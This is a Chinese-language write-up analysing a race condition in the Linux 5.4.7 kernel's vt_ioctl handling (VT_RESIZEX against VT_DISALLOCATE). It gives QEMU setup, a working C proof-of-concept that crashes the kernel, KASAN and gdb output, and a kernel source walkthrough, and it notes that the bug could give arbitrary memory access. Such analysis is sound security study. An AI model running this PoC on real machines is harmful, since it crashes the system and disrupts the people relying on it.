编译并运行内核
首先下载5.4.7
版本内核进行编译,然后如下命令启动内核
qemu-system-x86_64 \
-kernel /home/pwnht/linux-5.4-rc7/arch/x86/boot/bzImage \
-append "console=ttyS0 root=/dev/sda earlyprintk=serial nokaslr" \
-hdb /home/pwnht/image/stretch.img \
-net user,hostfwd=tcp::10021-:22 -net nic \
-enable-kvm \
-nographic \
-m 2G \
-smp 2 \
-s \
-pidfile vm.pid \
2>&1 | tee vm.log
然后运行如下poc
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <sys/syscall.h>
#include <sys/mman.h>
#include <fcntl.h>
#include <unistd.h>
#include <sys/ioctl.h>
#define VT_DISALLOCATE 0x5608
#define VT_RESIZEX 0x560A
#define VT_ACTIVATE 0x5606
#define EBUSY 1
struct vt_consize {
unsigned short v_rows; /* number of rows */
unsigned short v_cols; /* number of columns */
unsigned short v_vlin; /* number of pixel rows on screen */
unsigned short v_clin; /* number of pixel rows per character */
unsigned short v_vcol; /* number of pixel columns on screen */
unsigned short v_ccol; /* number of pixel columns per character */
};
int main(){
int fd=open("/dev/tty10",O_RDONLY); //打开这个设备
if (fd < 0) {
perror("open");
exit(-2);
}
int pid=fork(); //这里fork了一个进程
if(pid<0){
perror("error fork");
}else if(pid==0){
while(1){ //其中一个进程做如下两件事
for(int i=10;i<20;i++){
ioctl(fd,VT_ACTIVATE,i);
}
for(int i=10;i<20;i++){
ioctl(fd,VT_DISALLOCATE,i); //置零
}
printf("main thread finishn");
}
}else{ //另一个进程不断的触发漏洞
struct vt_consize v;
v.v_vcol=v.v_ccol=v.v_clin=v.v_vlin=1;
v.v_rows=v.v_vlin/v.v_clin;
v.v_cols=v.v_vcol/v.v_ccol;
while(1){
ioctl(fd,VT_RESIZEX,&v); //这个函数触发漏洞
printf("child finishn");
}
}
return 0;
}
得出的结果如下
[ 27.190534] kasan: CONFIG_KASAN_INLINE enabled
[ 27.190536] kasan: GPF could be caused by NULL-ptr deref or user memory access
[ 27.190547] general protection fault: 0000 [#1] SMP KASAN PTI
[ 27.190552] CPU: 0 PID: 296 Comm: a.out Not tainted 5.4.7 #1
[ 27.190554] Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS 1.13.0-1ubuntu1 04/01/2014
[ 27.190574] RIP: 0010:vt_ioctl+0x1e76/0x2440 //此时的指针停在这里
[ 27.190578] Code: 74 40 e8 9d 57 48 ff 48 89 d8 48 c1 e8 03 42 80 3c 20 00 0f 85 2f 04 00 00 4c 8b 33 49 8d be 70 01 00 00 48 89 f8 48 c1 e8 03 <42> 0f b6 04 20 84 c0 74 08 3c 03 0f 8e 24 04 00 00 45 89 ae 70 01
[ 27.190580] RSP: 0018:ffff88806cfafa68 EFLAGS: 00010206
[ 27.190583] RAX: 000000000000002e RBX: ffffffff858c4ea0 RCX: ffffffff81ecf1c3
[ 27.190584] RDX: 0000000000000000 RSI: 0000000000000246 RDI: 0000000000000170
[ 27.190586] RBP: 1ffff1100d9f5f4f R08: 7fffffffffffffff R09: ffffed100d9f5f26
[ 27.190588] R10: ffffed100d9f5f25 R11: 0000000000000003 R12: dffffc0000000000
[ 27.190589] R13: 0000000000000001 R14: 0000000000000000 R15: 0000000000000009
[ 27.190592] FS: 00007f7163595440(0000) GS:ffff88806d200000(0000) knlGS:0000000000000000
[ 27.190594] CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033
[ 27.190595] CR2: 00005616faee7128 CR3: 0000000066cfe000 CR4: 00000000000006f0
[ 27.190598] DR0: 0000000000000000 DR1: 0000000000000000 DR2: 0000000000000000
[ 27.190600] DR3: 0000000000000000 DR6: 00000000fffe0ff0 DR7: 0000000000000400
[ 27.190601] Call Trace: //这里是程序调用链
[ 27.190605] ? complete_change_console+0x350/0x350
[ 27.190619] ? schedule_timeout+0x32c/0x860
[ 27.190630] ? memcpy+0x35/0x50
[ 27.190640] ? avc_has_extended_perms+0x79d/0xc90
[ 27.190644] ? complete_change_console+0x350/0x350
[ 27.190647] tty_ioctl+0x66f/0x1310 //可以看出程序最后是在这里出的问题
[ 27.190650] ? tty_vhangup+0x30/0x30
[ 27.190652] ? __mutex_lock_slowpath+0x10/0x10
[ 27.190659] ? remove_wait_queue+0x1d/0x180
[ 27.190661] ? up_read+0x10/0x90
[ 27.190664] ? _raw_spin_lock_irqsave+0x7b/0xd0
[ 27.190666] ? _raw_spin_trylock_bh+0x120/0x120
[ 27.190669] ? __wake_up_common_lock+0xde/0x130
[ 27.190672] ? __wake_up_common+0x520/0x520
[ 27.190675] ? tty_vhangup+0x30/0x30
[ 27.190680] do_vfs_ioctl+0xae6/0x1030
[ 27.190683] ? selinux_file_ioctl+0x45a/0x5c0
[ 27.190685] ? selinux_file_ioctl+0x111/0x5c0
[ 27.190688] ? ioctl_preallocate+0x1d0/0x1d0
[ 27.190690] ? selinux_capable+0x40/0x40
[ 27.190693] ? tty_release+0xdb0/0xdb0
[ 27.190697] ? security_file_ioctl+0x58/0xb0
[ 27.190699] ? selinux_capable+0x40/0x40
[ 27.190701] ksys_ioctl+0x76/0xa0
[ 27.190704] __x64_sys_ioctl+0x6f/0xb0
[ 27.190709] do_syscall_64+0x9a/0x330
[ 27.190712] ? prepare_exit_to_usermode+0x142/0x1d0
[ 27.190715] entry_SYSCALL_64_after_hwframe+0x44/0xa9
[ 27.190719] RIP: 0033:0x7f71630b9017
[ 27.190722] Code: 00 00 00 48 8b 05 81 7e 2b 00 64 c7 00 26 00 00 00 48 c7 c0 ff ff ff ff c3 66 2e 0f 1f 84 00 00 00 00 00 b8 10 00 00 00 0f 05 <48> 3d 01 f0 ff ff 73 01 c3 48 8b 0d 51 7e 2b 00 f7 d8 64 89 01 48
[ 27.190724] RSP: 002b:00007ffed560f588 EFLAGS: 00000206 ORIG_RAX: 0000000000000010
[ 27.190726] RAX: ffffffffffffffda RBX: 0000000000000000 RCX: 00007f71630b9017
[ 27.190728] RDX: 00007ffed560f594 RSI: 000000000000560a RDI: 0000000000000003
[ 27.190730] RBP: 00007ffed560f5b0 R08: 00007f7163595440 R09: 000000000000000d
[ 27.190731] R10: 00007f7163371b58 R11: 0000000000000206 R12: 000055c60b79a6e0
[ 27.190733] R13: 00007ffed560f690 R14: 0000000000000000 R15: 0000000000000000
[ 27.190734] Modules linked in:
[ 27.190740] ---[ end trace 881c23b3324a5486 ]---
[ 27.190744] RIP: 0010:vt_ioctl+0x1e76/0x2440
[ 27.190747] Code: 74 40 e8 9d 57 48 ff 48 89 d8 48 c1 e8 03 42 80 3c 20 00 0f 85 2f 04 00 00 4c 8b 33 49 8d be 70 01 00 00 48 89 f8 48 c1 e8 03 <42> 0f b6 04 20 84 c0 74 08 3c 03 0f 8e 24 04 00 00 45 89 ae 70 01
[ 27.190748] RSP: 0018:ffff88806cfafa68 EFLAGS: 00010206
[ 27.190750] RAX: 000000000000002e RBX: ffffffff858c4ea0 RCX: ffffffff81ecf1c3
[ 27.190752] RDX: 0000000000000000 RSI: 0000000000000246 RDI: 0000000000000170
[ 27.190754] RBP: 1ffff1100d9f5f4f R08: 7fffffffffffffff R09: ffffed100d9f5f26
[ 27.190755] R10: ffffed100d9f5f25 R11: 0000000000000003 R12: dffffc0000000000
[ 27.190757] R13: 0000000000000001 R14: 0000000000000000 R15: 0000000000000009
[ 27.190759] FS: 00007f7163595440(0000) GS:ffff88806d200000(0000) knlGS:0000000000000000
[ 27.190761] CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033
[ 27.190763] CR2: 00005616faee7128 CR3: 0000000066cfe000 CR4: 00000000000006f0
[ 27.190765] DR0: 0000000000000000 DR1: 0000000000000000 DR2: 0000000000000000
[ 27.190767] DR3: 0000000000000000 DR6: 00000000fffe0ff0 DR7: 0000000000000400
查看vt_ioctl函数地址
root@syzkaller:/home# more /proc/kallsyms | grep "vt_ioctl"
ffffffff81ecd370 T vt_ioctl
使用gdb连接
gdb ./vmlinux
target remote :1234
此时在vt_ioctl+0x1e76
打断点,查看源码如下
| 877 │
│ 878 for (i = 0; i < MAX_NR_CONSOLES; i++) { │
│ 879 if (!vc_cons[i].d) // 首先这里是有值的 │
│ 880 continue; //这中间进行了条件竞争,使得(vc_cons[i].d = 0)
│ 881 console_lock(); //加锁
│ 882 if (v.v_vlin) │
│B+>883 vc_cons[i].d->vc_scan_lines = v.v_vlin; //然后在这里就出错 │
│ 884 if (v.v_clin) │
│ 885 vc_cons[i].d->vc_font.height = v.v_clin; │
│ 886 vc_cons[i].d->vc_resize_user = 1; │
│ 887 vc_resize(vc_cons[i].d, v.v_cols, v.v_rows); │
│ 888 console_unlock(); //解锁
此时的汇编代码如下
0xffffffff81ecf1d8 <vt_ioctl+7784>: lea rdi,[r14+0x170]
0xffffffff81ecf1df <vt_ioctl+7791>: mov rax,rdi
0xffffffff81ecf1e2 <vt_ioctl+7794>: shr rax,0x3
=> 0xffffffff81ecf1e6 <vt_ioctl+7798>: movzx eax,BYTE PTR [rax+r12*1]
0xffffffff81ecf1eb <vt_ioctl+7803>: test al,al
0xffffffff81ecf1ed <vt_ioctl+7805>: je 0xffffffff81ecf1f7 <vt_ioctl+7815>
0xffffffff81ecf1ef <vt_ioctl+7807>: cmp al,0x3
0xffffffff81ecf1f1 <vt_ioctl+7809>: jle 0xffffffff81ecf61b <vt_ioctl+8875>
...
...
...
gdb-peda$ x/gx $rax+$r12*1
0xffffed100d98612e: 0x0000000000000000
如上边的代码所示,如果可以分配0地址,那么 vc_cons[i].d->vc_scan_lines = v.v_vlin;
就相当于一个任意地址读写
在来看crash日志,得出是通过tty_ioctl()函数调用的vt_ioctl(),我们再次在tty_ioctl+0x66f
打断点,程序停在了这里
| 2655 } │
│ 2656 if (tty->ops->ioctl) { │
│B+>2657 retval = tty->ops->ioctl(tty, cmd, arg); │
│ 2658 if (retval != -ENOIOCTLCMD) │
│ 2659 return retval; │
│ 2660 }
说明此时tty->ops->ioctl
就是vt_ioctl的地址,对于tty->ops
,有一个专门的函数负责对其赋值
void tty_set_operations(struct tty_driver *driver,
const struct tty_operations *op)
{
driver->ops = op;
};
这个函数在vty_init()函数中被调用,即vty_init ---> tty_set_operations
int __init vty_init(const struct file_operations *console_fops)
{
cdev_init(&vc0_cdev, console_fops);
if (cdev_add(&vc0_cdev, MKDEV(TTY_MAJOR, 0), 1) ||
register_chrdev_region(MKDEV(TTY_MAJOR, 0), 1, "/dev/vc/0") < 0)
panic("Couldn't register /dev/tty0 drivern");
tty0dev = device_create_with_groups(tty_class, NULL,
MKDEV(TTY_MAJOR, 0), NULL,
vt_dev_groups, "tty0");
if (IS_ERR(tty0dev))
tty0dev = NULL;
vcs_init();
console_driver = alloc_tty_driver(MAX_NR_CONSOLES);
if (!console_driver)
panic("Couldn't allocate console drivern");
console_driver->name = "tty";
console_driver->name_base = 1;
console_driver->major = TTY_MAJOR;
console_driver->minor_start = 1;
console_driver->type = TTY_DRIVER_TYPE_CONSOLE;
console_driver->init_termios = tty_std_termios;
if (default_utf8)
console_driver->init_termios.c_iflag |= IUTF8;
console_driver->flags = TTY_DRIVER_REAL_RAW | TTY_DRIVER_RESET_TERMIOS;
tty_set_operations(console_driver, &con_ops); //在这里调用
if (tty_register_driver(console_driver))
panic("Couldn't register console drivern");
kbd_init();
console_map_init();
#ifdef CONFIG_MDA_CONSOLE
mda_console_init();
#endif
return 0;
}
以上可以将tty->ops->ioctl
变为vt_ioctl的地址
接下来我们看下vt_ioctl()函数
这里我们多注意一下vc_cons
的相关操作,我们看到vc_cons是一个数组
struct vc vc_cons [MAX_NR_CONSOLES];
#define MAX_NR_CONSOLES 63 /* serial lines start at 64 */
然后注意如下代码,arg为我们的第三个参数
case VT_DISALLOCATE:
if (arg > MAX_NR_CONSOLES) {
ret = -ENXIO;
break;
}
if (arg == 0)
vt_disallocate_all();
else
ret = vt_disallocate(--arg);
break;
vt_disallocate_all()函数
static void vt_disallocate_all(void)
{
struct vc_data *vc[MAX_NR_CONSOLES];
int i;
console_lock();
for (i = 1; i < MAX_NR_CONSOLES; i++)
if (!VT_BUSY(i))
vc[i] = vc_deallocate(i); //把所有空闲的设备释放掉
else
vc[i] = NULL;
console_unlock();
for (i = 1; i < MAX_NR_CONSOLES; i++) {
if (vc[i] && i >= MIN_NR_CONSOLES) {
tty_port_destroy(&vc[i]->port);
kfree(vc[i]);
}
}
}
其中vt_busy函数如下
#define VT_BUSY(i) (VT_IS_IN_USE(i) || i == fg_console || vc_cons[i].d == sel_cons)
#define VT_IS_IN_USE(i) (console_driver->ttys[i] && console_driver->ttys[i]->count)
再然后就是vc_deallocate函数
struct vc_data *vc_deallocate(unsigned int currcons)
{
struct vc_data *vc = NULL;
WARN_CONSOLE_UNLOCKED();
if (vc_cons_allocated(currcons)) {
struct vt_notifier_param param;
param.vc = vc = vc_cons[currcons].d;
atomic_notifier_call_chain(&vt_notifier_list, VT_DEALLOCATE, ¶m);
vcs_remove_sysfs(currcons);
visual_deinit(vc);
put_pid(vc->vt_pid);
vc_uniscr_set(vc, NULL);
kfree(vc->vc_screenbuf);
vc_cons[currcons].d = NULL; //这里将其置零
}
return vc;
}
总结一下调用流程vt_ioctl(VT_DISALLOCATE)->vt_disallocate_all->vc_deallocate
//置零
另一个函数调用流程vt_ioctl(VT_RESIZEX)->我们刚才介绍的代码
// 触发漏洞
除了vt_disallocate_all,还有一个vt_disallocate函数,其实和vt_disallocate_all()区别不大,就是从释放全部变成释放指定的索引
static int vt_disallocate(unsigned int vc_num)
{
struct vc_data *vc = NULL;
int ret = 0;
console_lock();
if (VT_BUSY(vc_num))
ret = -EBUSY;
else if (vc_num)
vc = vc_deallocate(vc_num);
console_unlock();
if (vc && vc_num >= MIN_NR_CONSOLES) {
tty_port_destroy(&vc->port);
kfree(vc);
}
return ret;
}
现在有一个释放置零,还缺一个申请内存,使vc_cons[currcons].d
不为零的
我们再关注下VT_ACTIVATE这个case
case VT_ACTIVATE:
if (!perm)
return -EPERM;
if (arg == 0 || arg > MAX_NR_CONSOLES)
ret = -ENXIO;
else {
arg--;
console_lock();
ret = vc_allocate(arg);
console_unlock();
if (ret)
break;
set_console(arg);
}
break;
他会调用vc_allocate这个函数,他会给vc_cons[currcons].d
赋值,使其不为零
int vc_allocate(unsigned int currcons) /* return 0 on success */
{
struct vt_notifier_param param;
struct vc_data *vc;
WARN_CONSOLE_UNLOCKED();
if (currcons >= MAX_NR_CONSOLES)
return -ENXIO;
if (vc_cons[currcons].d)
return 0;
/* due to the granularity of kmalloc, we waste some memory here */
/* the alloc is done in two steps, to optimize the common situation
of a 25x80 console (structsize=216, screenbuf_size=4000) */
/* although the numbers above are not valid since long ago, the
point is still up-to-date and the comment still has its value
even if only as a historical artifact. --mj, July 1998 */
param.vc = vc = kzalloc(sizeof(struct vc_data), GFP_KERNEL);
if (!vc)
return -ENOMEM;
vc_cons[currcons].d = vc; //为其赋值
tty_port_init(&vc->port);
INIT_WORK(&vc_cons[currcons].SAK_work, vc_SAK);
visual_init(vc, currcons, 1);
if (!*vc->vc_uni_pagedir_loc)
con_set_default_unimap(vc);
vc->vc_screenbuf = kzalloc(vc->vc_screenbuf_size, GFP_KERNEL);
if (!vc->vc_screenbuf)
goto err_free;
/* If no drivers have overridden us and the user didn't pass a
boot option, default to displaying the cursor */
if (global_cursor_default == -1)
global_cursor_default = 1;
vc_init(vc, vc->vc_rows, vc->vc_cols, 1);
vcs_make_sysfs(currcons);
atomic_notifier_call_chain(&vt_notifier_list, VT_ALLOCATE, ¶m);
return 0;
err_free:
visual_deinit(vc);
kfree(vc);
vc_cons[currcons].d = NULL;
return -ENOMEM;
}
漏洞触发
这个条件竞争可以采用如下方式进行触发:开两个进程,一个进程不停的分配vc_cons[currcons].d
和释放vc_cons[currcons].d
,分配的时候vc_cons[currcons].d
不为0,释放的时候vc_cons[currcons].d
为0,然后另一进程不停的去做VT_RESIZEX的调用,从而触发漏洞